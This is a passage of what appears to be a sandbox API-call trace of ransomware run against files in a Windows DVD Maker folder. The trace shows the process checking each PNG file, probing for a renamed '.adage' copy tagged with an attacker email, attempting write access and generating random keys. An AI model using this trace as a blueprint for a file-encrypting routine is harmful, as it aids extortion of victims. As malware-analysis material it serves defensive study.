out: pbBuffer=0x334fce8) returned 1 [0059.127] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.127] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5088) returned 1 [0059.127] CloseHandle (hObject=0x180) returned 1 [0059.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png")) returned 0x20 [0059.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.127] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.127] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.127] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.128] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3130) returned 1 [0059.128] CloseHandle (hObject=0x180) returned 1 [0059.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png")) returned 0x20 [0059.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.128] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.128] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5025) returned 1 [0059.128] CloseHandle (hObject=0x180) returned 1 [0059.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png")) returned 0x20 [0059.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.129] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.129] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3118) returned 1 [0059.129] CloseHandle (hObject=0x180) returned 1 [0059.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png")) returned 0x20 [0059.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.130] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.130] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4955) returned 1 [0059.130] CloseHandle (hObject=0x180) returned 1 [0059.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png")) returned 0x20 [0059.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.130] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.131] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3081) returned 1 [0059.131] CloseHandle (hObject=0x180) returned 1 [0059.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png")) returned 0x20 [0059.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.131] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.131] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=21627) returned 1 [0059.131] CloseHandle (hObject=0x180) returned 1 [0059.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png")) returned 0x20 [0059.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.132] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.133] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4570) returned 1 [0059.133] CloseHandle (hObject=0x180) returned 1 [0059.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png")) returned 0x20 [0059.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.133] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.133] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.133] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.134] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=51801) returned 1 [0059.134] CloseHandle (hObject=0x180) returned 1 [0059.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png")) returned 0x20 [0059.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.135] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.135] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5088) returned 1 [0059.135] CloseHandle (hObject=0x180) returned 1 [0059.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png")) returned 0x20 [0059.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.135] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.136] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3130) returned 1 [0059.136] CloseHandle (hObject=0x180) returned 1 [0059.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png")) returned 0x20 [0059.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.136] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.136] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.136] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.136] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5025) returned 1 [0059.136] CloseHandle (hObject=0x180) returned 1 [0059.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png")) returned 0x20 [0059.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.137] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.137] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.137] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.535] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3118) returned 1 [0060.535] CloseHandle (hObject=0x1a4) returned 1 [0060.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png")) returned 0x20 [0060.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.536] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.536] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0060.536] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.536] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4815) returned 1 [0060.537] CloseHandle (hObject=0x1a4) returned 1 [0060.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png")) returned 0x20 [0060.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.537] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0060.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.537] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3024) returned 1 [0060.537] CloseHandle (hObject=0x1a4) returned 1 [0060.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png")) returned 0x20 [0060.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.538] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.538] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0060.538] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.538] 